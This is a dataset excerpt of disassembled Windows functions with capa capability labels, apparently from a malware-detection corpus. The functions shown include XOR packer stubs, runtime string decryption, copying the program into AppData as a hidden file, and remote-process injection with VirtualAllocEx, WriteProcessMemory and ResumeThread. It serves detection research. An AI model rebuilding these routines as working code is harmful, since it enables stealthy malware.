joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406a26
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a4a
xor eax, eax
test eax, eax
je 0x406a5d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a5d
xor ecx, ecx
jmp 0x406a60
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b83
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x45bdec], 0
push esi
jne 0x406bba
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b94
mov dword [ecx*4 + 0x45bde8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b8f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406beb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x45bde8]
xor eax, esi
inc ecx
dec edx
jne 0x406bcd
pop edi
not eax
pop esi
ret 0xc

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x401413
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20119
xor edi, edi
push edi
push dword [ebp + 8]
xor esi, esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40148c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x401482
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x401482
push edi
call fcn.00408cd8
mov esi, eax
pop ecx
cmp esi, edi
je 0x401482
lea eax, [ebp - 8]
push eax
push esi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call ebx
test eax, eax
je 0x401482
call fcn.00408de5
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x401492
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push edi
push dword [ebp + 8]
mov byte [ebp - 1], 0
push 0xd4caada8
push 6
push 0x41591c
call fcn.0040a71a
add esp, 0xc
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 8]
push eax
push 0x20119
xor edi, edi
push edi
push 0x5b90e140
push 0x21
push 0x415924
call fcn.0040a71a
add esp, 0xc
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40153b
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x401518
push ebx
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x10c]
push eax
inc edi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x40152d
push 0x64
lea eax, [ebp - 0x10c]
push eax
push edi
push dword [ebp - 8]
call esi
test eax, eax
je 0x401501
jmp 0x401531
mov byte [ebp - 1], 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret

Function at 0x401cd5
Capabilities:
Create thread

Disassembly:
push esi
xor esi, esi
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push esi
push esi
push 0x401c74
push esi
push esi
mov dword [0x41a064], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41a098], eax
pop esi
ret

Function at 0x401cff
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
jbe 0x401d27
mov eax, 0xff
call fcn.0040ac29
inc dword [ebp - 4]
mov byte [esi + edi], al
movzx esi, word [ebp - 4]
cmp esi, dword [ebp + 8]
jb 0x401d0e
mov eax, dword [0x41a094]
test eax, eax
je 0x401d62
push edi
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x401d62
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
jbe 0x401d62
mov eax, 0xff
call fcn.0040ac29
inc dword [ebp - 4]
mov byte [esi + edi], al
movzx esi, word [ebp - 4]
cmp esi, dword [ebp + 8]
jb 0x401d49
pop esi
leave
ret
Function at 0x4023df
Capabilities:
Get system information on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
call fcn.0040acc4
push 9
mov dword [ebp - 0xc], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
xor esi, esi
push esi
mov dword [ebp - 0x5c], eax
push 0xc
pop eax
call fcn.00408cd8
mov edi, eax
pop ecx
mov dword [ebp - 0x58], edi
call fcn.00407f0d
mov dword [edi], eax
mov eax, dword [edi]
mov dword [edi + 4], eax
shl eax, 2
push esi
call fcn.00408cd8
pop ecx
mov dword [edi + 8], eax
mov ebx, eax
mov dword [ebp - 8], esi
cmp dword [ebp + 0x10], esi
jbe 0x402478
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
lea esi, [eax + ecx*4]
mov eax, dword [esi]
mov ecx, dword [eax]
shl ecx, 2
push ecx
push dword [eax + 8]
mov dword [ebp - 0x10], esi
push ebx
call sub.ntdll.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [eax]
mov esi, dword [eax + 8]
add esp, 0xc
lea ebx, [ebx + ecx*4]
call fcn.00408de5
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
call fcn.00408de5
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jb 0x402434
mov esi, dword [ebp + 0xc]
call fcn.00408de5
push dword [ebp + 8]
call fcn.00406f63
pop ecx
test al, al
je 0x402518
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push 0xec6ea38d
push 9
push 0x415b14
call fcn.0040a71a
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x10], eax
cmp eax, 0xffffffff
je 0x402518
cmp dword [edi], ebx
jbe 0x40250f
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [edi + 8]
mov eax, dword [eax + ebx*4]
push 0
lea ecx, [ebp + 8]
push ecx
mov ecx, dword [eax + 0xc]
add ecx, ecx
push ecx
push dword [eax + 8]
push dword [ebp + 0x10]
call esi
push 0
lea eax, [ebp + 8]
push eax
push 4
push 0
push 0x67e7a5a2
push 4
push 0x415b20
call fcn.0040a2d3
add esp, 0x10
push eax
push dword [ebp + 0x10]
call esi
inc ebx
cmp ebx, dword [edi]
jb 0x4024cc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x41a05e], 0
je 0x402593
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.00401c50
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
inc esi
cmp byte [0x41a05c], 0
je 0x402556
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [ebp - 0x20]
add esi, esi
call fcn.00401cd5
test esi, esi
je 0x402575
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0xc]
push 0x40226e
call fcn.0040ace4
dec esi
pop ecx
pop ecx
jne 0x40255f
mov edi, dword [ebp - 0xc]
mov eax, edi
call fcn.0040ad31
call fcn.00401c94
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call fcn.0040ad6c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d1d
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
push esi
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x41b908
push ecx
push 0xe464b0d4
push 0x1b
push 0x415bf4
call fcn.0040a71a
add esp, 0x10
push eax
lea eax, [ebp - 0x450]
push eax
call fcn.0040c91e
add esp, 0xc
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x52bb8675
push 5
push 0x415c10
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0xc640
call fcn.0040a71a
add esp, 0xc
push 0x4e166ee1
push 9
push 0x415c18
mov dword [ebp - 0x30], eax
call fcn.0040a71a
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x450]
add esp, 0xc
and dword [ebp - 0x20], 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x402dd2
mov esi, dword [ebp - 4]
test esi, esi
jne 0x402ddc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402db4
call fcn.00409a17
call fcn.0040759c
test al, al
je 0x402df2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
leave
ret
Function at 0x402dfb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
push 0x18
lea eax, [ebp - 0x40]
push eax
push esi
push dword [ebp + 8]
mov byte [ebp - 1], 0
mov dword [ebp - 0x24], esi
call dword [sym.imp.ntdll.dll_ZwQueryInformationProcess]
test eax, eax
js 0x402f50
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
push 0x248
lea eax, [ebp - 0x288]
push eax
push dword [ebp - 0x3c]
push dword [ebp + 8]
call ebx
test eax, eax
je 0x402f50
mov eax, dword [ebp - 0x280]
mov dword [ebp - 8], eax
mov edi, 0x400
push esi
mov eax, edi
call fcn.00408cd8
mov esi, eax
pop ecx
mov dword [ebp - 0x10], esi
test esi, esi
je 0x402f50
lea eax, [ebp - 0x28]
push eax
push edi
push esi
push dword [ebp - 8]
push dword [ebp + 8]
call ebx
test eax, eax
je 0x402f4b
mov eax, dword [esi + 0x3c]
mov edi, dword [ebp + 0x10]
push 0x40
push 0x1000
lea esi, [eax + esi + 0x18]
lea eax, [edi + 0xfe0]
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x402f48
mov esi, dword [esi + 0x10]
add esi, dword [ebp - 8]
lea eax, [ebx + edi]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push dword [ebp + 8]
call edi
lea eax, [ebp - 8]
push eax
push 0xfe0
push 0x41a0b8
push dword [ebp - 0xc]
push dword [ebp + 8]
call edi
mov eax, dword [ebp - 0xc]
add ebx, dword [ebp + 0x14]
mov dword [ebp - 0x1f], eax
lea eax, [ebp - 8]
push eax
push 0xe
lea eax, [ebp - 0x20]
push eax
push esi
push dword [ebp + 8]
mov byte [ebp - 0x20], 0xb8
mov word [ebp - 0x1b], 0xb850
mov dword [ebp - 0x19], ebx
mov word [ebp - 0x15], 0xd0ff
mov byte [ebp - 0x13], 0xc3
call edi
test eax, eax
je 0x402f37
cmp dword [ebp - 8], 0xe
mov byte [ebp - 1], 1
je 0x402f3b
mov byte [ebp - 1], 0
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [ebp - 0x10]
call fcn.00408de5
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f58
Capabilities:
Create process on windows
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x41b2a4]
push ebx
mov ebx, dword [0x41a0b0]
push esi
push edi
xor esi, esi
push 0x40
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x60]
push esi
push eax
mov dword [ebp - 8], esi
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push esi
push 0x900000c
push esi
push esi
push esi
push 0x41b098
push esi
mov dword [ebp - 0x64], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402ff8
push dword [ebp + 8]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
call fcn.00402dfb
add esp, 0x10
test al, al
jne 0x402fd9
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x402fe8
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov esi, dword [ebp - 0x18]
call fcn.00409a17
mov esi, dword [ebp - 0x1c]
call fcn.00409a17
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403825
Capabilities:
Terminate process

Disassembly:
mov eax, 0x4036e9
sub eax, dword [0x41b2a4]
push ebx
push eax
xor bl, bl
call fcn.00402f58
pop ecx
test eax, eax
je 0x40386a
push 0xea60
push dword [0x41a0b4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
je 0x40386a
call fcn.0040759c
test al, al
je 0x40386a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, bl
pop ebx
ret

Function at 0x40386e
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
lea eax, [ebp - 0x410]
push eax
push 0x104
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x208]
push eax
push ebx
push ebx
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ebx
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x208]
push eax
call fcn.004034e6
pop ecx
test al, al
je 0x403966
push 0x3f
mov esi, 0x41a440
push 0x13
mov eax, esi
call fcn.0040c75d
pop ecx
pop ecx
push esi
push 0x41a238
push 0xff262930
push 5
push 0x415c24
call fcn.0040a71a
add esp, 0xc
push eax
mov ebx, 0x41a468
push ebx
call fcn.0040c91e
mov edi, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
add esp, 0x10
push dword [ebp + 0xc]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push eax
push 0x41a670
call esi
push dword [ebp + 8]
push 0x41a878
call esi
push dword [ebp + 8]
call edi
push eax
push ebx
push 0xff262930
push 5
push 0x415c24
call fcn.0040a71a
add esp, 0xc
push eax
push 0x41ac88
call fcn.0040c91e
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
push 0x41ae90
call esi
call fcn.00403825
mov bl, al
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x40397a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x1c
push 0x416b20
call fcn.00414048
xor ebx, ebx
mov byte [ebp - 0x19], bl
push 2
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp edi, ebx
je 0x403af7
push 0x18
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x403aee
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, ebx
je 0x403aee
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x403aee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x403aee
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push 0x1eccc398
push 0xb
push 0x415c2c
call fcn.0040a703
add esp, 0xc
push eax
push dword [ebp - 0x28]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x20], eax
or dword [ebp - 4], 0xffffffff
jmp 0x403a25
cmp dword [ebp - 0x20], ebx
je 0x403aee
push 0x3e
push dword [ebp - 0x20]
call dword [sym.imp.SHLWAPI.dll_StrChrIA]
mov esi, eax
cmp esi, ebx
je 0x403aee
inc esi
push ebx
push 0x81d37cbd
push 4
push str.oK_a
call fcn.0040a2d3
add esp, 0x10
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrSpnA]
add esi, eax
push ebx
push 0xf3bdfd5d
push 4
push 0x415c40
call fcn.0040a2d3
add esp, 0x10
push 4
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x403aee
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], 1
push 0xc44b8aa2
push 0x17
push 0x415c48
call fcn.0040a703
add esp, 0xc
push eax
push dword [ebp - 0x28]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
jmp 0x403ac4
cmp dword [ebp - 0x24], ebx
je 0x403aee
push ebx
push 0x39d47298
push 0x14
push 0x415c60
call fcn.0040a2d3
add esp, 0x10
push eax
push dword [ebp - 0x24]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
setne byte [ebp - 0x19]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 0x19]
call fcn.00414083
ret
Function at 0x403b00
Capabilities:
Enumerate pe sections
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x434
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push esi
mov byte [esp + 0x2f], bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [esp + 0x24], edi
cmp edi, 0xffffffff
je 0x403c9b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x20], eax
cmp eax, ebx
je 0x403c92
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
mov dword [esp + 0x18], edi
cmp edi, ebx
je 0x403c89
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
sar eax, 1
push eax
push esi
lea eax, [esp + 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx ecx, word [eax + 6]
mov dword [esp + 0x2c], ecx
cmp ecx, ebx
je 0x403c7f
cmp dword [eax + 0x84], ebx
je 0x403c7f
movzx edx, word [eax + 0x14]
mov esi, dword [eax + 0x80]
lea edx, [edx + eax + 0x18]
push ecx
mov dword [esp + 0x20], edx
call fcn.00403000
add eax, edi
add eax, 0xc
pop ecx
cmp dword [eax], ebx
je 0x403c7f
mov dword [esp + 0x14], eax
cmp dword [eax + 4], ebx
je 0x403c69
push dword [esp + 0x2c]
mov esi, dword [eax]
mov edx, dword [esp + 0x20]
call fcn.00403000
mov edi, eax
add edi, dword [esp + 0x1c]
pop ecx
push edi
call fcn.0040c43b
pop ecx
mov esi, eax
push esi
call fcn.0040a09f
pop ecx
mov dword [esp + 0x28], eax
call fcn.00408de5
cmp dword [esp + 0x28], ebx
jne 0x403c65
push edi
lea eax, [esp + 0x23c]
push eax
push 0x17f62b80
push 5
push 0x415c78
call fcn.0040a71a
add esp, 0xc
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0040c91e
lea eax, [esp + 0x40]
push eax
call fcn.0040a8d9
add esp, 0x14
test eax, eax
je 0x403c65
lea eax, [esp + 0x30]
push eax
push dword [ebp + 8]
call fcn.0040386e
pop ecx
pop ecx
test al, al
jne 0x403c7a
mov eax, dword [esp + 0x14]
add eax, 0x14
mov dword [esp + 0x14], eax
cmp dword [eax], ebx
jne 0x403bdb
jmp 0x403c7f
mov byte [esp + 0x13], 1
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [esp + 0x20]
call fcn.00409a17
mov esi, dword [esp + 0x24]
call fcn.00409a17
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404362
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40444e
add eax, eax
lea edi, [ebp + eax - 0x41c]
lea ebx, [ebp + eax - 0x416]
lea esi, [ebp + eax - 0x41a]
push 0xf2d6b01f
xor eax, eax
push 8
push 0x415eac
mov word [edi], ax
call fcn.0040a71a
add esp, 0xc
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.0040ac29
add eax, 0x61
mov word [esi], ax
push 0x19
pop eax
call fcn.0040ac29
add eax, 0x61
mov word [ebx], ax
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x40439f
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x640]
push eax
call fcn.0040403f
pop ecx
test al, al
je 0x40439f
lea eax, [ebp - 0x640]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x40439f
lea eax, [ebp - 0x41c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404623
Capabilities:
Copy file
Create process on windows
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x744
push ebx
push esi
push edi
lea eax, [ebp - 0x330]
push eax
push ecx
push 0xc7ee9c8a
push 0x11
push str._z_tu
mov byte [ebp - 1], 1
call fcn.0040a71a
add esp, 0x10
push eax
call fcn.00409e05
lea eax, [ebp - 0x268]
push 0x208
push eax
call fcn.0040d80d
add esp, 0x10
xor ebx, ebx
test al, al
je 0x404681
lea eax, [ebp - 0x268]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x330]
push eax
push ecx
push 0x7b88dcd9
push 3
push 0x415f28
call fcn.0040a71a
add esp, 0x10
push eax
lea eax, [ebp - 0x268]
push ebx
push eax
call fcn.0040cabd
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x268]
push eax
mov esi, 0x41b5d8
push esi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x40482c
lea eax, [ebp - 0x268]
push eax
call fcn.004045c1
pop ecx
test al, al
je 0x4046f0
call fcn.004072e6
mov byte [ebp - 1], bl
lea eax, [ebp - 0x740]
push eax
call fcn.00404362
pop ecx
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x268]
push eax
push 0xff262930
push 5
push 0x415c24
call fcn.0040a71a
add esp, 0xc
push eax
lea ecx, [ebp - 8]
call fcn.0040c998
add esp, 0xc
test eax, eax
je 0x40482c
push dword [ebp - 8]
call fcn.0040d352
pop ecx
lea eax, [ebp - 0x268]
push eax
call fcn.0040d276
pop ecx
push ebx
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x104
lea eax, [ebp - 0x538]
push eax
push 0x7422f9e0
push 0xc
push 0x415ac0
call fcn.0040a71a
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 8]
lea eax, [ebp - 0x538]
push eax
call fcn.0040d468
pop ecx
pop ecx
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.0040d468
push 0x40
lea eax, [ebp - 0x5c]
push ebx
push eax
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x1000000
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40481c
mov esi, dword [ebp - 0x14]
call fcn.00409a17
mov esi, dword [ebp - 0x18]
call fcn.00409a17
mov esi, dword [ebp - 8]
call fcn.00408de5
call fcn.004072e6
mov byte [ebp - 1], bl
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret